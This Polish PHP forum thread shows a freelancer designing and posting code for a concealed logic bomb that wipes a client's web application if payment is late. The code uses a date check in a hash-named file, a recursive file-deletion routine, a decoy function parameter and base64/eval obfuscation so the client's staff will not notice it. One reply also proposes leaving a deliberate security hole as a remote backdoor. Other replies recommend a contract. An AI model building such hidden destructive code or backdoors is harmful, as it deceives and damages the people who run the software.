Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

2 Stron V   1 2 >  
Reply to this topicStart new topic
> Zabezpieczenie aplikacji..., ...jak to rozwiazac?
alex19
post 20.09.2006, 00:22:17
Post #1





Grupa: Zarejestrowani
Postów: 172
Pomógł: 7
Dołączył: 23.12.2005
Skąd: Wejherowo

Ostrzeżenie: (0%)
-----


Pisze, a w wlasciwie mam juz prawie napisana aplikacje dla pewnej firmy. Niestey mam uzasadnione podejzenie ze jej wlasciciel moze mi nie zaplacic za moja prace worriedsmiley.gif. Nie moge wziasc najpierw kasy, a potem dac programu, bo oni musza go najpierw przetestowac i powiedziec co im sie nie podoba.

Wpadlem na pomysl zeby zabezpieczyc moja prace.

Zamysl jest taki zeby po okreslonym czasie (np data za 30 dni) cala strona sie kasowala i toworzyl sie tylko index.php z informacja ze nie ma kasy, nie ma systemu biggrin.gif .
Zabezpieczenie musi byc latwe/szybkie do wylaczenia, ale za razem nie rzucajace sie w oczy zeby sie nie okazalo ze 10 letni synek kogos z pracownikow przejzy sobie kod i odrazu znajdzie zabezpieczenie i jednym komentarzem wylaczy.

Mam dwa pomysly:
1. To laczenie sie z moim serwerem w domu i sprawdzanie stanu zabezpieczenia i jezeli czas jest przekroczony to pobranie sktyptu, uruchomienie i po sprawie. Niestey to odpada bo jak ktos "wyciagnie wtyczke z netem" to mam po zawodach.
2. Stowrzenie pliku o zahashowanej nazwie i zakodoawnej dacie w srodku. Sprawdzanie czy jest ten plik. Jak nie ma to kasowanie, a jak jest to sprawdzanie daty i jesli jest przekroczona to kasowanie.
Wylacznenie jest proste bo wystarczy podmienic plik lub sama zawartosc na taki z data za 100 lat i po sprawie.
Nie mam jednak pomyslu jak to ukryc w kodzie strony zeby nie rzucalo sie w oczy.
Gdzies musi sie znalezc tresc pliku index.php(odrazu bedzie widac ze to zabezpiecznie) no i musi byc gdzies funkcja ktora bedzie porownywac sam plik, jego zawartosc i kasowac pliki. To sie bedzie bardzo rzucalo w oczy jak ktos ma jakiekolwiek pojecie o php.
Tresc nowej strony mozna by jakos w bazie schowac, ale co zrobic z funkcja?

Moze macie jakies inne pomysly jak to zrobic?
Go to the top of the page
+Quote Post
kicaj
post 20.09.2006, 00:35:46
Post #2





Grupa: Zarejestrowani
Postów: 1 640
Pomógł: 28
Dołączył: 13.02.2003
Skąd: Międzyrzecz/Poznań

Ostrzeżenie: (0%)
-----


A testowanie na czym bedzie polegalo? Tylko na sprawdzeniu obslugi danego systemu, czy przegladanie wchodz w gre tez? Bo jak nie to mozesz system zainstalowac na swoim serwerze i dac im linka do testowania, jestli kod, to tu juz jest problem, obecnie nie mam pomyslu, chociaz jakies wazniejsze pliki mogloby byc na Twoim serwerze, a testowana aplikacja tylko by sie do nich odwolywala...


--------------------
PHP Developer

"Nadmiar wiedzy jest równie szkodliwy jak jej brak" Émile Zola
Go to the top of the page
+Quote Post
alex19
post 20.09.2006, 00:44:57
Post #3





Grupa: Zarejestrowani
Postów: 172
Pomógł: 7
Dołączył: 23.12.2005
Skąd: Wejherowo

Ostrzeżenie: (0%)
-----


Niestety testowana ma byc na ich lokalnym serwerze w firmie. Testtowanie bedzie polegalo na obsludze.
Niestety nie mam zadnej pewnosci ze ktos w kod nie bedzie zagladal.
Ja nawet jakbym chcial to nie za bardzo moge u siebie tego postawic, bo mam dosc wolne lacze i podejzewam ze jak zaczelo by pracowalc nagle 10 osob to juz by wyrabiac przestalo.

Chodzi mi o to ze jak ktos zacznie przegladac sobie kod zeby odrazu mu nie wpadlo w oczy ze jest funkcja kasujaca wszystki pliki.
Go to the top of the page
+Quote Post
kicaj
post 20.09.2006, 00:49:20
Post #4





Grupa: Zarejestrowani
Postów: 1 640
Pomógł: 28
Dołączył: 13.02.2003
Skąd: Międzyrzecz/Poznań

Ostrzeżenie: (0%)
-----


No rozumiem...

Zostaje tylko to rozwiazanie, ktore podalem, ale jesli ktos w kod bedzie zagladal to i tak wyjdzie na jaw...


--------------------
PHP Developer

"Nadmiar wiedzy jest równie szkodliwy jak jej brak" Émile Zola
Go to the top of the page
+Quote Post
xbitdesigns
post 20.09.2006, 06:54:58
Post #5





Grupa: Zarejestrowani
Postów: 23
Pomógł: 0
Dołączył: 24.04.2006
Skąd: Kielce

Ostrzeżenie: (0%)
-----


Proponuje produkt firmy Zend (zend guard). Po zabezpieczeniu kod jest nieczytelny.
Mozna rowniez ustawic date wygasniecia licencji. Po jej przekroczeniu program wywala blad winksmiley.jpg

Ten post edytował xbitdesigns 20.09.2006, 06:56:18
Go to the top of the page
+Quote Post
dr_bonzo
post 20.09.2006, 09:30:15
Post #6





Grupa: Przyjaciele php.pl
Postów: 5 724
Pomógł: 259
Dołączył: 13.04.2004
Skąd: N/A

Ostrzeżenie: (0%)
-----


1. podpisz umowe i testuj na SWOIM serwerze -- to jest rozwiazanie kompromisowe -- oni moga testowac system a ty masz zabezpieczenie ze ci kodu nie ukradna
2. jesli maja juz kod na swoim serwerze to maja tez pewnie jego kopie, i za 50zeta dzieciak zdejmie zabezpieczenie

Cytat
Ja nawet jakbym chcial to nie za bardzo moge u siebie tego postawic, bo mam dosc wolne lacze i podejzewam ze jak zaczelo by pracowalc nagle 10 osob to juz by wyrabiac przestalo.

Zainwestuj w jakis hosting, np. na kwartal czy pol roku


--------------------
Nie lubię jednorożców.
Go to the top of the page
+Quote Post
alex19
post 20.09.2006, 14:53:59
Post #7





Grupa: Zarejestrowani
Postów: 172
Pomógł: 7
Dołączył: 23.12.2005
Skąd: Wejherowo

Ostrzeżenie: (0%)
-----


Cytat(xbitdesigns @ 20.09.2006, 07:54:58 ) *
Proponuje produkt firmy Zend (zend guard). Po zabezpieczeniu kod jest nieczytelny.
Mozna rowniez ustawic date wygasniecia licencji. Po jej przekroczeniu program wywala blad winksmiley.jpg

Tak, pomysl bardzo fajny ale 3000 zl wyglada juz znacznie gorzej sad.gif

Hmmm... wpadlem wlasnie na inny pomysl i chyba calkiem dobry.
A gdyby tak funkcje trzymac w ososbnym pliku, kotry bedzie zakodowany? Includowac ten plik odkodowywac i uzywac? snitch.gif
Nie wiem tylko jak to rozwiazac technicznie. Jak zdekodowac plik i go w postaci odkodowanej zaincludowac?
Go to the top of the page
+Quote Post
kicaj
post 20.09.2006, 15:04:29
Post #8





Grupa: Zarejestrowani
Postów: 1 640
Pomógł: 28
Dołączył: 13.02.2003
Skąd: Międzyrzecz/Poznań

Ostrzeżenie: (0%)
-----


Jesli bedzie to funkcja kodujaca i rozkodujaca i te pliki beda takze do przejrzenia to jaki w tym cel?


--------------------
PHP Developer

"Nadmiar wiedzy jest równie szkodliwy jak jej brak" Émile Zola
Go to the top of the page
+Quote Post
dr_bonzo
post 20.09.2006, 15:06:12
Post #9





Grupa: Przyjaciele php.pl
Postów: 5 724
Pomógł: 259
Dołączył: 13.04.2004
Skąd: N/A

Ostrzeżenie: (0%)
-----


Zeby sie nie powtarzac:
http://forum.php.pl/index.php?showtopic=21455
Temat: zabezpieczenie kodu przed kopiowaniem


--------------------
Nie lubię jednorożców.
Go to the top of the page
+Quote Post
alex19
post 30.09.2006, 23:30:11
Post #10





Grupa: Zarejestrowani
Postów: 172
Pomógł: 7
Dołączył: 23.12.2005
Skąd: Wejherowo

Ostrzeżenie: (0%)
-----


Cytat(kicaj @ 20.09.2006, 16:04:29 ) *
Jesli bedzie to funkcja kodujaca i rozkodujaca i te pliki beda takze do przejrzenia to jaki w tym cel?

Cel jest taki ze nie bedzie od razu widac funkcji i na pierwszy rzut oka jak ktos zajrzy w kod nie bedzie wiedzial co to robi biggrin.gif


Cytat(dr_bonzo @ 20.09.2006, 16:06:12 ) *

Czytalem juz kiedys te watki.
Mi nie chodzi o sama kradziez kodu, bo co do tego to mam pewnosc ze klient tego nie sprzeda dalej.
Chodzi o samo zabezpieczneie systemu na wypadek braku zaplaty.

Chyba znalazlem rozwiazanie Rkingsmiley.png
Pisze sobie funkcje, koduje ja i teraz mam 2 mozliwosci:
1. Wpisuje sobie ta funkcje do bazy. Pobieram z bazy, dokoduje, uruchamiam za pomoca eval($funkcja_z_bazy); Tylko nie wiem czy da rade wetdy uzywac parametrów?
2. Skorzystanie z tego co znalazlem w manualu
Cytat
eval() is used to protect (read: hide) source code. A well known way to encrypt some php code is security through obscurity. Someone used eval(base64_encode(".....")); - which basically had 10-16 nested calls to eval(base64_encode()) inside the data.

E.g.
  1. <?php
  2. eval(gzinflate(base64_decode('AjHRawIHG1ypUpudV.....')));
  3. ?>


However this can be decoded in this way:
  1. <?php
  2. echo "nDECODE nested eval(gzinflate()) by DEBO Jurgen <jurgen@person.be>nn";
  3.  
  4.  echo "1. Reading coded.txtn";
  5.  $fp1 = fopen ("coded.txt", "r");
  6.  $contents = fread ($fp1, filesize ("coded.txt"));
  7.  fclose($fp1);
  8.  
  9.  echo "2. Decodingn";
  10.  while (preg_match("/eval(gzinflate/",$contents)) {
  11.  $contents=preg_replace("/<?|?>/", "", $contents);
  12.  eval(preg_replace("/eval/", "$contents=", $contents));
  13.  }
  14.  
  15.  echo "3. Writing decoded.txtn";
  16.  $fp2 = fopen("decoded.txt","w");
  17.  fwrite($fp2, trim($contents));
  18.  fclose($fp2);

Tylko nie zabardzo rozumiem co to ma robic. Zapewne to dekoduje plik zakodowany.txt do pliku zdekodowany.txt. To by w sumie bylo nie zle bo moglbym zamiast *.txt stowrzyc plik *.php i sobie go zainkludowac i normalnie uzywac funkcji. A w funkcji mozna by na koncu umiescic usuwanie tego pliku.

Czy to dobry pomysl?
-----------------------------------------------------------------------------------------------------------------------------
Rozwiazanie problemu


Nikt mi nic tworczego nie odpisal, ale rozwiazalem problem sam smile.gif.
Pisze co zrobilem, bo moze sie komus przyda, a wydaje mi sie ze moje rozwiazanie jest najlepsze i najtrudniejsze do pozbycia sie.

Zaczynamy od stworzenia pliku z data wygasniecia licencji. Nazwe pliku sobie hashujemy zeby sie nie rzucala bardzo w oczy, a zawartosc w formie normalnej daty (2006-10-01) kodujemy np poprzez base64_encode.

Teraz potrzeba jakiejs funkcji ktora bedzie sprawdzac czy data sie nie przeterminowala, a jesli tak to wykonala pewne operacje.
W moim przypadku bedzie to skasowanie wszystkich plikow i utworzenie nowego index.php z informacja co sie stalo winksmiley.jpg

A co jak ktos skasuje plik? Ano nic, bo sprawdzimy czy plik jest i czy jest w nim oczekiwana wartosc. Jak cos nie bedzie gralo to znaczy ze ktos cos grzebal i trzeba szybko posprzatac.

  1. <?php
  2. function czysckatalog($kat){
  3. @$katalog = opendir($kat);
  4.  
  5. while($pliki=readdir($katalog)){
  6. if ( $pliki != '.' && $pliki != '..' ){ $lista[] = $pliki; }
  7. }
  8.  
  9. for( $i = 0; $i < count($lista); $i++ ){
  10. $plik = $lista[$i];
  11. if(is_dir($plik)){
  12. echo '<strong>Napotkano katalog '.$plik.'<br></strong>';
  13. czysckatalog($plik);
  14. echo '<strong>Koniec czyszczenia katalogu '.$plik.'<br></strong>';
  15. //@rmdir($plik);
  16. }
  17. else {
  18. //@unlink($plik);
  19. echo 'Skasowano: '.$plik.'<br>';
  20. }
  21. }
  22. }
  23.  
  24. function kasuj(){
  25. # kasowanie wszystkich plikow
  26. czysckatalog('.');
  27.  
  28. # tworzenie nowego index.php
  29. $tresc  = '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">n';
  30. $tresc .= '<html xmlns="http://www.w3.org/1999/xhtml">n';
  31. $tresc .= '<head>n';
  32. $tresc .= '<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2" />n';
  33. $tresc .= '<title>System</title>n';
  34. $tresc .= '</head>n';
  35. $tresc .= '<body>n';
  36. $tresc .= '<div style="background-color:#FFCCCC; border:1px solid #FF0000; text-align:center; font-weight:bold; margin-bottom:5px; display: marker; overflow: auto; position: relative; vertical-align: middle;">n';
  37. $tresc .= 'System wyłączony!!!<br />n';
  38. $tresc .= '</div>n';
  39. $tresc .= '</body>n';
  40. $tresc .= '</html>n';
  41.  
  42. //$nazwapliku = 'index.php';
  43. $nazwapliku = 'index2.php';
  44. $uchwyt = @fopen($nazwapliku, 'w');
  45. @fwrite($uchwyt, $tresc);
  46. @fclose($uchwyt);
  47.  
  48. # przekierowanie na index.php
  49. header ("Location: index.php");
  50. }
  51.  
  52. function testuj($data){
  53. $plik = './temp/d12eeccc0924664bca216571a3db2b90';
  54.  
  55. if ( file_exists($plik) ){
  56. $dzis = time();
  57. $datap = file($plik);
  58. //echo 'Data zakodowana: '.$datap['0'].'<br>';
  59. $klucz = base64_decode($datap['0']);
  60. //echo 'Data zdekodowana: '.$d.'<br>';
  61. if ( $klucz!='no_limit' ){
  62. if ( ($expire = strtotime($klucz)) === -1) { 
  63. kasuj(); 
  64. //echo 'Dzis:  '.$dzis.'<br>';
  65. //echo 'Expire: '.$expire;
  66. }
  67. elseif( $dzis >= $expire ) { kasuj(); }
  68. }
  69. }
  70. else{ kasuj(); }
  71. }
  72. ?>


Teraz wystarczy zaincludowac plik z funkcjami uzyc funkcji
  1. <?php
  2. test("co chcesz");
  3. ?>

Funkcja ma parametr tylko i wylacznie dla zmylki. Mozna tam wsadzic cokolwiek i bedzie wygladalo na zupelnie co innego niz jest naprawde biggrin.gif

To jednak nadal malo, bo wylaczenie funkcji jest bardzo proste, a pozatym widac co sie "dzieje" i latwo temu zapobiec.
Kodujemy wiec zawartosc pliku z funkcjami tym samy algorytmem co date w pliku. Tu nalzey pamietac ze wczesniej tzreba sie pozbyc znacznikow <?php i ?>.

Teraz wystarczy stworzyc sobie pomocniczy pliczek, ktory przeczyta nasz zakodowany plik, zdekoduje i wklei nasze funkcje w kod. Wszystko to dzieki wspanialej funkcji eval()
  1. <?php
  2. $plik = "nazwa_zakodowanego_pliku";
  3. $fp1 = fopen ($plik, "r");
  4. $contents = fread ($fp1, filesize ($plik));
  5. fclose($fp1);
  6.  
  7. eval(base64_decode($contents)); //dekodujemy i wklejamy kod z pliku
  8. ?>


Teraz includujemy sobie pliczek pomocniczy i juz mozemy uzywac funkcji test("cos";)

Ale przeciez to nadal mozna latwo wylaczyc! Oczywiscie, ale utrudnienie calej sprawy to juz pestka. Ja na przyklad do zakodowanego pliku przenioslem sobie funkcje odbierajaca dane z formularzy i jeszcze funkcje do sprawdzania roznych danych. Bez tych funkcji cala aplikacja sie rozwali i bedzie bezuzyteczna.

Calosc mozna napewno jeszcze jakos usprawnic i utrudnic smile.gif. Mozna np wywolywac funkcje test() w zakodowanym pliku.

Ten post edytował alex19 30.09.2006, 23:32:17
Go to the top of the page
+Quote Post
legorek
post 1.10.2006, 09:35:24
Post #11





Grupa: Zarejestrowani
Postów: 411
Pomógł: 35
Dołączył: 27.06.2004
Skąd: Kraków

Ostrzeżenie: (0%)
-----


Nie przeglądnałem Twojego rozwiązania, ale daje sobie głowę uciąć, że jak ktoś się uprze, to je ominie. Tak jak ktoś już wspomniał, podpisz umowę. To jedyne skuteczne zabezpieczenie.


--------------------
Go to the top of the page
+Quote Post
alex19
post 1.10.2006, 13:04:43
Post #12





Grupa: Zarejestrowani
Postów: 172
Pomógł: 7
Dołączył: 23.12.2005
Skąd: Wejherowo

Ostrzeżenie: (0%)
-----


Oczwisice ze mozna to ominac, ale jest to znacznie utrudnione i nie widac na pierwszy rzut oka co jest grane. A jak juz ktos posiada odpowiednia wiedze i zobaczy co jest grane to bedzie potrzebowal troszke czasu zeby odtworzyc potrzebne funkjce lub zrezygonwac z nich i zastapic czyms innym.
Go to the top of the page
+Quote Post
thornag
post 1.10.2006, 13:53:47
Post #13





Grupa: Zarejestrowani
Postów: 504
Pomógł: 2
Dołączył: 31.03.2006
Skąd: Londyn

Ostrzeżenie: (0%)
-----


Moze zostaw sobie jakas mala dziure w kodzie smile.gif Tak zebys pozniej mogl przez nia przepelznac i zrobic co trzeba smile.gif A jak zaplaca to ta dziure zdalnie usuniesz przez ta wlasnie dziure smile.gif


--------------------
"Wizja czasu jest szeroka, lecz kiedy sie przez nia przechodzi, czas staje sie waskimi drzwiami"

Go to the top of the page
+Quote Post
alex19
post 1.10.2006, 14:03:10
Post #14





Grupa: Zarejestrowani
Postów: 172
Pomógł: 7
Dołączył: 23.12.2005
Skąd: Wejherowo

Ostrzeżenie: (0%)
-----


Jak juz pisalem zawsze pojawia sie mozliwosc wyciaganiecia wtyczki z internetem z serwera (system nie ma byc widoczny na zwenatrz) i moge sobie pomazyc.

Moim zdaniem moje rozwiazanie jest idealne. Umawiam sie ze 15 jest kasa, ustawiam sobie pliczek, a 16. Jest kasa to wysylam mailem czy w jakikoliwek inny sposob podaje nowy plik bez limitu, a jak kasy nie ma to 16 nie ma juz calej aplikacji. Proste, latwe, szybkie, mile i bezwzgledne biggrin.gif
Go to the top of the page
+Quote Post
thornag
post 1.10.2006, 20:12:41
Post #15





Grupa: Zarejestrowani
Postów: 504
Pomógł: 2
Dołączył: 31.03.2006
Skąd: Londyn

Ostrzeżenie: (0%)
-----


Tylko daj im troche wiecej czasu smile.gif


--------------------
"Wizja czasu jest szeroka, lecz kiedy sie przez nia przechodzi, czas staje sie waskimi drzwiami"

Go to the top of the page
+Quote Post
Balin
post 1.10.2006, 21:43:39
Post #16





Grupa: Zarejestrowani
Postów: 27
Pomógł: 0
Dołączył: 14.05.2003

Ostrzeżenie: (0%)
-----


Wg mnie wymyslone przez Ciebie zabezpieczenie jest zupelnie bezsensowne, mozna je obejsc poprzez zwykle
  1. <?php
  2. print base64_decode('nazwa_zakodowanego_pliku');
  3. ?>

i juz mamy odkodowany caly plik.
Jak wykonujesz projekt - podpisuj umowe, to najlepsze zabezpieczenie.

Ten post edytował Balin 1.10.2006, 21:44:25
Go to the top of the page
+Quote Post
alex19
post 1.10.2006, 21:53:45
Post #17





Grupa: Zarejestrowani
Postów: 172
Pomógł: 7
Dołączył: 23.12.2005
Skąd: Wejherowo

Ostrzeżenie: (0%)
-----


A ja uwazam ze moje zabezpieczenie jest skuteczne.
Oczywisce ze da sie je latwo obejsc, ale
*na pierwszy rzut oka nie widac jawnie zadnego kasowania plikow
*wylaczenie zabezpieczenia zajmie chwile czasu
*bedzie trzeba przeedytowac klika plikow zeby nie bylo bledow

Pozatym mowilem ze to ma byc zapiezpieczenie takie zeby nie bylo dorazu widac jak ktos przejzy(nie bedzie analizowal linia po lini) kod i nie mozna bylo go wylaczyc zakomentowaniem jednej funkcji.
Cos takiego wlasnie zrobilem.

Poztym umowa umowa, ale nie mam ochoty sie wloczyc w razie czego po sadach. Co mi po tym jak koles bedzie mial aplikacje, ja nie bede mial pieniedzy, sadaowy nakaz?

Wszyscy piszecie ze to bez sensu, ze umowa, ze latwo wylaczyc. To moze ktow wymysli cos lepszego poza kupieniem Zend'a za 3000 pln?
Go to the top of the page
+Quote Post
wipo
post 2.10.2006, 05:21:28
Post #18





Grupa: Zarejestrowani
Postów: 856
Pomógł: 19
Dołączył: 30.08.2005
Skąd: 100lica

Ostrzeżenie: (0%)
-----


A popatrz na mmcache i eaccelerator


--------------------
Go to the top of the page
+Quote Post
Balin
post 2.10.2006, 08:50:29
Post #19





Grupa: Zarejestrowani
Postów: 27
Pomógł: 0
Dołączył: 14.05.2003

Ostrzeżenie: (0%)
-----


Wysylasz klientowi aplikacje, pewnie zrobisz to mailem, zwaz na to ze on zawsze bedzie mial wtedy dostep do kopii aplikacji chociazby na swoim serwerze pocztowym, wiec jak progam wywali mu sie podczas testowania to nic nie powstrzyma go przed grzebaniem w kodzie, poniewaz nadal ma kopie sprzed instalacji na serwerze.
Go to the top of the page
+Quote Post
thornag
post 2.10.2006, 09:27:03
Post #20





Grupa: Zarejestrowani
Postów: 504
Pomógł: 2
Dołączył: 31.03.2006
Skąd: Londyn

Ostrzeżenie: (0%)
-----


Tylko ze jesli plik bedzie zahashowany i malo czytelny, za kazdym razem gdy bedzie probowal wgrac aplikacje na nowo ona na nowo sie wymaze. Jednak to co zostalo powiedziane wyzej jest jedynym pewnym wyjsciem (chociaz w naszym kraju i papier niepewny ;P). Podpisz umowe.


--------------------
"Wizja czasu jest szeroka, lecz kiedy sie przez nia przechodzi, czas staje sie waskimi drzwiami"

Go to the top of the page
+Quote Post

2 Stron V   1 2 >
Reply to this topicStart new topic
1 Użytkowników czyta ten temat (1 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Wersja Lo-Fi Aktualny czas: 14.08.2025 - 10:36